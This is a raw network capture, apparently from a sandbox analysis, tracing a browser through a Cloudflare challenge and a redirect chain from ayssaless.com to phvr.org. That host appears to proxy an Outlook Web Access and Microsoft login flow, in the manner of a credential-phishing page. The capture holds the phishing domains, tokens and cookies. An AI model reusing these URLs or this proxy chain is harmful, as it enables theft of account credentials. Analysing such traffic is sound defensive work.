2024-07-03 21:50:34 UTC	16384	OUT	Data Raw: 76 5f 38 39 64 61 31 36 64 61 64 38 64 37 34 32 34 33 3d 38 34 72 45 2d 4e 53 32 30 53 62 77 72 76 6b 62 76 62 30 45 6c 34 53 63 69 5a 69 56 69 52 4c 4c 69 42 72 33 67 39 69 4d 45 37 51 45 69 73 72 69 6b 45 53 72 4e 4c 69 46 45 6c 46 30 4e 24 69 36 67 79 49 53 6c 69 32 45 4e 73 69 48 45 69 61 69 31 4c 71 77 53 6e 62 71 51 35 34 30 69 76 45 34 69 4c 24 45 53 54 6f 69 53 7a 62 53 54 68 75 69 52 73 49 69 4a 51 69 67 32 69 77 46 49 78 64 4f 69 4c 73 78 5a 70 45 33 6b 69 25 32 62 59 75 48 4e 69 7a 73 4d 42 70 45 69 79 24 78 4e 69 77 41 4d 69 34 37 4e 64 70 45 33 4b 4c 4c 59 53 57 33 75 78 48 64 46 6b 69 69 6e 53 69 69 32 6d 35 6e 34 32 34 45 69 41 6c 4b 49 24 68 42 36 73 41 43 55 69 44 78 6a 48 74 45 35 55 55 67 4f 73 2d 38 34 4b 42 38 56 67 56 55 35 50 73 6f Data Ascii: v_89da16dad8d74243=84rE-NS20Sbwrvkbvb0El4SciZiViRLLiBr3g9iME7QEisrikESrNLiFElF0N$i6gyISli2ENsiHEiai1LqwSnbqQ540ivE4iL$ESToiSzbSThuiRsIiJQig2iwFIxdOiLsxZpE3ki%2bYuHNizsMBpEiy$xNiwAMi47NdpE3KLLYSW3uxHdFkiinSii2m5n424EiAlKI$hB6sACUiDxjHtE5UUgOs-84KB8VgVU5Pso
2024-07-03 21:50:34 UTC	16265	OUT	Data Raw: 69 6e 45 70 69 6c 72 77 56 41 24 69 77 72 43 72 47 45 43 45 53 30 33 45 44 6d 69 44 45 53 34 69 71 4d 77 78 69 71 69 75 69 43 78 4c 32 62 54 69 76 78 31 63 69 51 65 70 78 69 6c 53 2d 69 63 51 31 6c 53 4c 69 42 56 53 33 53 2b 69 63 51 77 64 68 4c 67 24 4a 48 62 69 45 77 77 34 31 71 53 67 51 68 62 69 76 53 7a 69 44 6d 77 71 53 46 46 31 78 4c 51 69 4c 45 63 78 33 45 53 7a 69 75 69 4e 6d 53 2b 69 43 69 33 45 53 6a 34 4c 73 4c 61 69 55 45 35 6b 33 6b 69 77 72 4a 59 78 54 69 5a 69 4a 78 77 56 47 6e 45 63 78 77 6b 53 47 69 44 77 53 73 69 35 77 69 63 4c 77 53 68 51 37 63 69 78 45 54 36 24 55 77 73 53 7a 62 63 4a 4c 42 4d 67 51 75 69 69 4a 69 59 45 66 77 33 61 75 46 69 66 72 69 76 69 64 69 43 69 31 78 53 38 41 6f 45 53 53 59 2d 69 4e 63 69 46 34 34 69 63 56 73 51 Data Ascii: inEpilrwVA$iwrCrGECES03EDmiDES4iqMwxiqiuiCxL2bTivx1ciQepxilS-icQ1lSLiBVS3S+icQwdhLg$JHbiEww41qSgQhbivSziDmwqSFF1xLQiLEcx3ESziuiNmS+iCi3ESj4LsLaiUE5k3kiwrJYxTiZiJxwVGnEcxwkSGiDwSsi5wicLwShQ7cixET6$UwsSzbcJLBMgQuiiJiYEfw3auFifrividiCi1xS8AoESSY-iNciF44icVsQ
2024-07-03 21:50:34 UTC	1257	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 3344 Connection: close cf-chl-out: DDSiyhRdZct7FeLaEVwlh1rkztwhPbZ28BRyfgzLdxX3SWRp5ZO6Jf9q0z4G/4FPEsjE51LT7HMnkQJcQ5/oHZG5OUWAEvSS2vVuejEImcOmjkdTWBsyDBTbsbNVtDg8$5PVq2GMYiioP5psepjye7Q== cf-chl-out-s: CCG7p3s8qrTvK+/5o7tqosAG5zctG+F7Q9/xfaAbjFgKEpL4taQ+Q2A/if4ImYa/iw0aXIo1mMITjVUEkMPgiEsedoYwiEAm2GRsS7ax6bowJUr59wCe0pI0R6DjvZUXeZ6y7/E4WelTegHCZajj2zyvBLp4IBp5pWEpgfzypzALCXgtL2PkbVqpNCohDiwFCbYacXR1yEh3TdpEMO4lXexPeXDZ7x0sECi8rx7DDN8FT8X5zv0a/qrOtqREIgdabkjoJgnU+nKhR436QBtt1r1+P9//++2SPVHLXFWAwef2FST8Id3Rw8YQq1TL93Iif3boUY9lh7otfgQYX7eOGr+81GL4LFgDB/Kw2Hi9jPjwp7E1of4lpfKMoTKxMat+TtDgU1VBR8xFrcUSpMj7uv41gY7I0kD9apYifqwOevjs/rlSAaAzfczlqUrh4FvF1qGaa3VzLzeU8C4xA/wPOOpycQdsfwyqp+Qy5jjvt5vvUblU1PD1kcxbZvCvfV3UgzACkOAX1CpwyrL+w2u9jKyKbvQiz6kJVadYkiRVgyTAkbGgivSSln7MbsPUrsy5ppkw05ddCh6ErJLVGaMYGkKWHVwhgJmvrQAhnNX+nBdBk+pF1waDAFD4d15LUAWqahQ6P2s1vJDcBOWcb04vKVnvOx4cVGnMz2RRc9Yh18puyCpE8za4lnxPPDtstEEUHQ8YsmZ5eybb/hIUHjomN37IDCr7Y9RzNZHOCYnUEMX+U2bl5/dn4wzsRbo1et9oKe7xb/Efo69mwigQ17+imyLyeRykK3Rd3JjyKITcvKbzApLF0zmpq/qyvicJC8qX$0eB2RQTIs8O9NlmAnHIWNQ== Server: cloudflare CF-RAY: 89da17896ece4222-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 21:50:34 UTC	112	IN	Data Raw: 75 33 70 2f 73 38 4b 33 6a 72 2b 5a 79 59 48 42 70 4b 4f 69 6f 70 44 45 76 37 4b 4c 77 4b 6e 41 7a 4b 54 48 32 61 7a 50 73 61 6a 61 32 37 6a 66 32 36 4f 65 32 4e 66 49 30 39 72 46 75 64 33 43 79 62 33 68 79 4e 44 52 7a 39 50 56 31 75 36 31 35 76 58 51 75 74 6a 4c 2b 50 37 59 7a 38 48 48 34 76 6e 45 2f 4e 58 44 37 2b 37 4a 2f 4f 33 72 Data Ascii: u3p/s8K3jr+ZyYHBpKOiopDEv7KLwKnAzKTH2azPsaja27jf26Oe2NfI09rFud3Cyb3hyNDRz9PV1u615vXQutjL+P7Yz8HH4vnE/NXD7+7J/O3r
2024-07-03 21:50:34 UTC	1369	IN	Data Raw: 46 52 48 71 30 64 6a 6a 36 2b 55 63 37 77 2f 52 48 39 2f 38 49 41 58 68 38 2b 44 6a 48 52 72 39 43 77 6b 69 42 67 30 6b 4b 68 41 54 4b 53 76 78 47 6a 49 4e 38 78 55 59 4c 67 77 59 48 69 4e 41 48 68 49 66 53 42 30 55 43 54 30 61 4a 54 41 76 55 55 31 51 4a 67 77 57 53 6c 4a 53 4a 79 5a 61 4d 31 41 34 4d 52 35 43 58 30 35 47 58 56 73 37 59 31 74 67 5a 54 59 32 50 6c 78 71 54 79 74 53 61 6b 70 42 57 44 4a 74 62 33 74 64 5a 31 31 64 4f 45 46 4f 55 6d 5a 30 52 6e 46 48 65 6c 5a 4b 58 6d 75 50 54 5a 4b 50 6a 47 31 32 62 6d 5a 72 5a 31 4e 30 6a 70 57 50 67 46 65 67 62 35 52 66 65 5a 65 6d 67 57 69 4c 67 5a 36 57 70 6e 32 4c 71 61 4f 64 6f 34 4e 2f 6a 36 75 6a 72 48 75 57 6a 58 56 35 69 4a 6d 59 73 70 69 67 6b 4a 69 51 78 35 69 71 79 38 4f 45 72 4b 32 4d 70 35 32 Data Ascii: FRHq0djj6+Uc7w/RH9/8IAXh8+DjHRr9CwkiBg0kKhATKSvxGjIN8xUYLgwYHiNAHhIfSB0UCT0aJTAvUU1QJgwWSlJSJyZaM1A4MR5CX05GXVs7Y1tgZTY2PlxqTytSakpBWDJtb3tdZ11dOEFOUmZ0RnFHelZKXmuPTZKPjG12bmZrZ1N0jpWPgFegb5RfeZemgWiLgZ6Wpn2LqaOdo4N/j6ujrHuWjXV5iJmYspigkJiQx5iqy8OErK2Mp52
2024-07-03 21:50:34 UTC	1369	IN	Data Raw: 74 4d 48 33 4f 6a 2b 45 77 73 50 39 68 38 62 34 77 45 55 43 53 73 42 48 2f 73 62 41 79 55 6f 45 65 77 76 37 69 4d 69 4c 78 6f 37 4b 43 30 79 2b 79 67 71 4f 53 39 45 51 44 38 2f 42 69 70 44 53 6b 42 49 4e 31 41 59 54 44 42 4c 44 7a 59 30 54 77 35 42 54 6c 5a 55 57 45 64 65 57 46 34 31 55 78 39 68 48 30 55 67 53 69 4e 6e 4b 6c 5a 42 56 79 78 73 4d 46 35 6f 56 6d 70 75 63 6d 4a 4e 64 6e 42 37 55 58 35 7a 66 31 57 44 51 59 42 76 63 6e 79 46 58 58 61 42 62 6b 64 77 69 49 39 6c 6b 31 47 53 61 5a 4b 4d 6c 32 68 76 66 58 79 4a 6a 47 75 4e 66 58 69 44 62 36 52 34 6c 5a 6d 6f 6e 49 79 73 71 57 74 72 6b 49 39 7a 6c 59 53 46 63 61 4f 31 71 58 4b 74 6a 58 65 67 75 4a 69 78 72 4a 7a 43 6c 70 69 57 6c 4c 4c 4b 6a 4a 69 6e 6a 71 43 6b 73 73 4f 69 74 4e 57 6c 31 4c 72 4d Data Ascii: tMH3Oj+EwsP9h8b4wEUCSsBH/sbAyUoEewv7iMiLxo7KC0y+ygqOS9EQD8/BipDSkBIN1AYTDBLDzY0Tw5BTlZUWEdeWF41Ux9hH0UgSiNnKlZBVyxsMF5oVmpucmJNdnB7UX5zf1WDQYBvcnyFXXaBbkdwiI9lk1GSaZKMl2hvfXyJjGuNfXiDb6R4lZmonIysqWtrkI9zlYSFcaO1qXKtjXeguJixrJzClpiWlLLKjJinjqCkssOitNWl1LrM
2024-07-03 21:50:34 UTC	494	IN	Data Raw: 37 72 2b 50 77 6e 34 53 59 47 42 4f 45 68 39 77 6b 50 35 68 4c 38 49 51 59 51 37 67 76 70 41 79 30 74 4e 41 6b 76 43 43 67 55 49 42 64 41 49 78 4d 43 51 78 70 4a 46 79 63 6f 54 52 73 4f 4c 52 30 7a 43 7a 49 6a 45 7a 4d 32 4d 6c 46 62 4d 6c 30 72 49 43 38 75 59 52 35 42 48 53 49 6d 50 31 34 33 4c 45 45 36 51 30 77 2b 55 44 39 77 52 6e 63 79 63 6c 46 48 65 58 70 63 53 55 74 67 54 6b 74 4c 57 57 5a 4f 51 33 70 56 69 45 5a 65 57 55 64 58 61 6e 46 4c 57 32 56 31 59 30 2b 47 5a 5a 68 58 69 6d 69 4e 62 33 70 73 67 48 64 2f 68 59 4e 65 66 59 69 5a 67 34 4e 35 68 33 79 69 6b 6f 42 38 6f 4a 53 6b 62 36 71 44 71 48 65 74 68 36 78 36 6d 49 33 42 6b 4c 61 52 74 5a 53 33 71 61 69 6b 75 70 65 38 69 71 69 63 77 49 76 47 6e 38 71 7a 73 37 4b 5a 6b 39 57 56 78 70 79 33 73 Data Ascii: 7r+Pwn4SYGBOEh9wkP5hL8IQYQ7gvpAy0tNAkvCCgUIBdAIxMCQxpJFycoTRsOLR0zCzIjEzM2MlFbMl0rIC8uYR5BHSImP143LEE6Q0w+UD9wRncyclFHeXpcSUtgTktLWWZOQ3pViEZeWUdXanFLW2V1Y0+GZZhXimiNb3psgHd/hYNefYiZg4N5h3yikoB8oJSkb6qDqHeth6x6mI3BkLaRtZS3qaikupe8iqicwIvGn8qzs7KZk9WVxpy3s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49767	104.17.2.184	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:35 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1171513691:1720042031:V-1DSJGSRzYWJ5RQHOROFwIaAUUuh9iSOzGOqOAfpJc/89da16dad8d74243/874531de73a4462 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:35 UTC	375	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 21:50:35 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: RcdQqNcCslN4/Tll6f19ww==$DYlEzP/PLzjtZx3UmPtPXQ== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 89da178e7ffcc330-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 21:50:35 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49765	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:35 UTC	1165	OUT	POST /?dybkhjzu=7fd3278cbad230a46aea1749c768258a239f96a4595391908a87812351a895e43093a1c5c4e9f400c6baeab531aa312d260c1bdff35b93216f7c90c5166986c9 HTTP/1.1 Host: ayssaless.com Connection: keep-alive Content-Length: 539 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://ayssaless.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://ayssaless.com/?dybkhjzu=7fd3278cbad230a46aea1749c768258a239f96a4595391908a87812351a895e43093a1c5c4e9f400c6baeab531aa312d260c1bdff35b93216f7c90c5166986c9 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw
2024-07-03 21:50:35 UTC	539	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 6b 38 77 47 4b 6b 4d 4f 6f 76 41 51 54 38 37 59 47 31 32 7a 68 73 57 35 69 52 43 62 43 36 47 7a 4b 4f 73 6e 6e 76 6c 54 4a 6a 37 77 68 31 66 78 32 6a 32 42 46 4e 4c 46 5f 39 52 73 55 5a 6e 58 52 36 44 4c 48 30 33 6d 43 77 58 67 58 4b 66 36 46 57 38 48 34 6a 32 54 34 64 34 37 59 34 42 52 77 4e 38 48 62 4e 76 76 6a 70 62 6b 33 66 4d 68 2d 45 64 77 41 66 6b 39 72 75 6c 30 56 55 50 62 4b 62 71 5f 65 71 44 79 6b 41 4e 4b 78 30 38 70 57 53 72 4c 7a 4c 6b 54 68 56 6c 66 6d 61 58 62 53 35 56 6a 6a 39 48 73 2d 54 30 31 2d 55 30 64 6d 43 5a 66 54 52 4f 50 59 37 75 56 50 39 5f 58 63 38 66 79 57 72 6c 56 54 61 36 75 34 67 58 6f 58 36 57 33 59 64 34 67 54 53 79 76 76 43 34 67 6a 41 51 48 63 68 58 Data Ascii: cf-turnstile-response=0.k8wGKkMOovAQT87YG12zhsW5iRCbC6GzKOsnnvlTJj7wh1fx2j2BFNLF_9RsUZnXR6DLH03mCwXgXKf6FW8H4j2T4d47Y4BRwN8HbNvvjpbk3fMh-EdwAfk9rul0VUPbKbq_eqDykANKx08pWSrLzLkThVlfmaXbS5Vjj9Hs-T01-U0dmCZfTROPY7uVP9_Xc8fyWrlVTa6u4gXoX6W3Yd4gTSyvvC4gjAQHchX
2024-07-03 21:50:35 UTC	376	IN	HTTP/1.1 302 Found location: https://phvr.org/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3BodnIub3JnLyIsImRvbWFpbiI6InBodnIub3JnIiwia2V5IjoiamY3WVhkSU1Fa0hKIiwicXJjIjpudWxsLCJpYXQiOjE3MjAwNDM0MzUsImV4cCI6MTcyMDA0MzU1NX0.JAs1Sod8yix7ia_730oaWYfQG1KpZbxKGumi-KumUlc Date: Wed, 03 Jul 2024 21:50:35 GMT Connection: close Transfer-Encoding: chunked
2024-07-03 21:50:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49768	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:36 UTC	957	OUT	GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3BodnIub3JnLyIsImRvbWFpbiI6InBodnIub3JnIiwia2V5IjoiamY3WVhkSU1Fa0hKIiwicXJjIjpudWxsLCJpYXQiOjE3MjAwNDM0MzUsImV4cCI6MTcyMDA0MzU1NX0.JAs1Sod8yix7ia_730oaWYfQG1KpZbxKGumi-KumUlc HTTP/1.1 Host: phvr.org Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ayssaless.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 21:50:36 UTC	282	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=jf7YXdIMEkHJ; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; path=/; samesite=none; secure; httponly location: / Date: Wed, 03 Jul 2024 21:50:36 GMT Connection: close Transfer-Encoding: chunked
2024-07-03 21:50:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49769	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:36 UTC	781	OUT	GET / HTTP/1.1 Host: phvr.org Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ayssaless.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw
2024-07-03 21:50:37 UTC	1152	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://phvr.org/owa/ Server: Microsoft-IIS/10.0 request-id: 29110463-14b2-3ca5-8401-8a86e6be6433 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: BN0PR04CA0120, BN0PR04CA0120 X-RequestId: 361c85dc-38ae-4cb1-8d77-46f57dde7163 X-FEProxyInfo: BN0PR04CA0120.NAMPRD04.PROD.OUTLOOK.COM X-FEEFZInfo: LYH MS-CV: YwQRKbIUpTyEAYqG5r5kMw.0 X-Powered-By: ASP.NET Date: Wed, 03 Jul 2024 21:50:36 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49770	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:37 UTC	785	OUT	GET /owa/ HTTP/1.1 Host: phvr.org Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ayssaless.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw
2024-07-03 21:50:37 UTC	7004	IN	HTTP/1.1 302 Found content-length: 1266 Content-Type: text/html; charset=utf-8 Location: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q Server: Microsoft-IIS/10.0 request-id: d6af801b-4263-2850-e842-3f7fee07f7d0 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-CalculatedFETarget: CH5PR04CU001.internal.outlook.com X-BackEndHttpStatus: 302, 302 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: ClientId=8DD7D1DBE24E4DA7A257935551B595D8; expires=Thu, 03-Jul-2025 21:50:37 GMT; path=/;SameSite=None; secure Set-Cookie: ClientId=8DD7D1DBE24E4DA7A257935551B595D8; expires=Thu, 03-Jul-2025 21:50:37 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Fri, 03-Jan-2025 21:50:37 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: RoutingKeyCookie=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; domain=phvr.org; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; domain=phvr.org; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; domain=phvr.org; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; domain=phvr.org; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; domain=phvr.org; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; domain=phvr.org; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; expires=Wed, 03-Jul-2024 22:50:37 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OptInPrg=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: SuiteServiceProxyKey=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: ClientId=8DD7D1DBE24E4DA7A257935551B595D8; expires=Thu, 03-Jul-2025 21:50:37 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Fri, 03-Jan-2025 21:50:37 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: RoutingKeyCookie=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; domain=phvr.org; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; domain=phvr.org; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; domain=phvr.org; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; domain=phvr.org; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; domain=phvr.org; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; domain=phvr.org; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; expires=Wed, 03-Jul-2024 22:50:37 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: OptInPrg=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: SuiteServiceProxyKey=; expires=Sun, 03-Jul-1994 21:50:37 GMT; path=/; secure Set-Cookie: 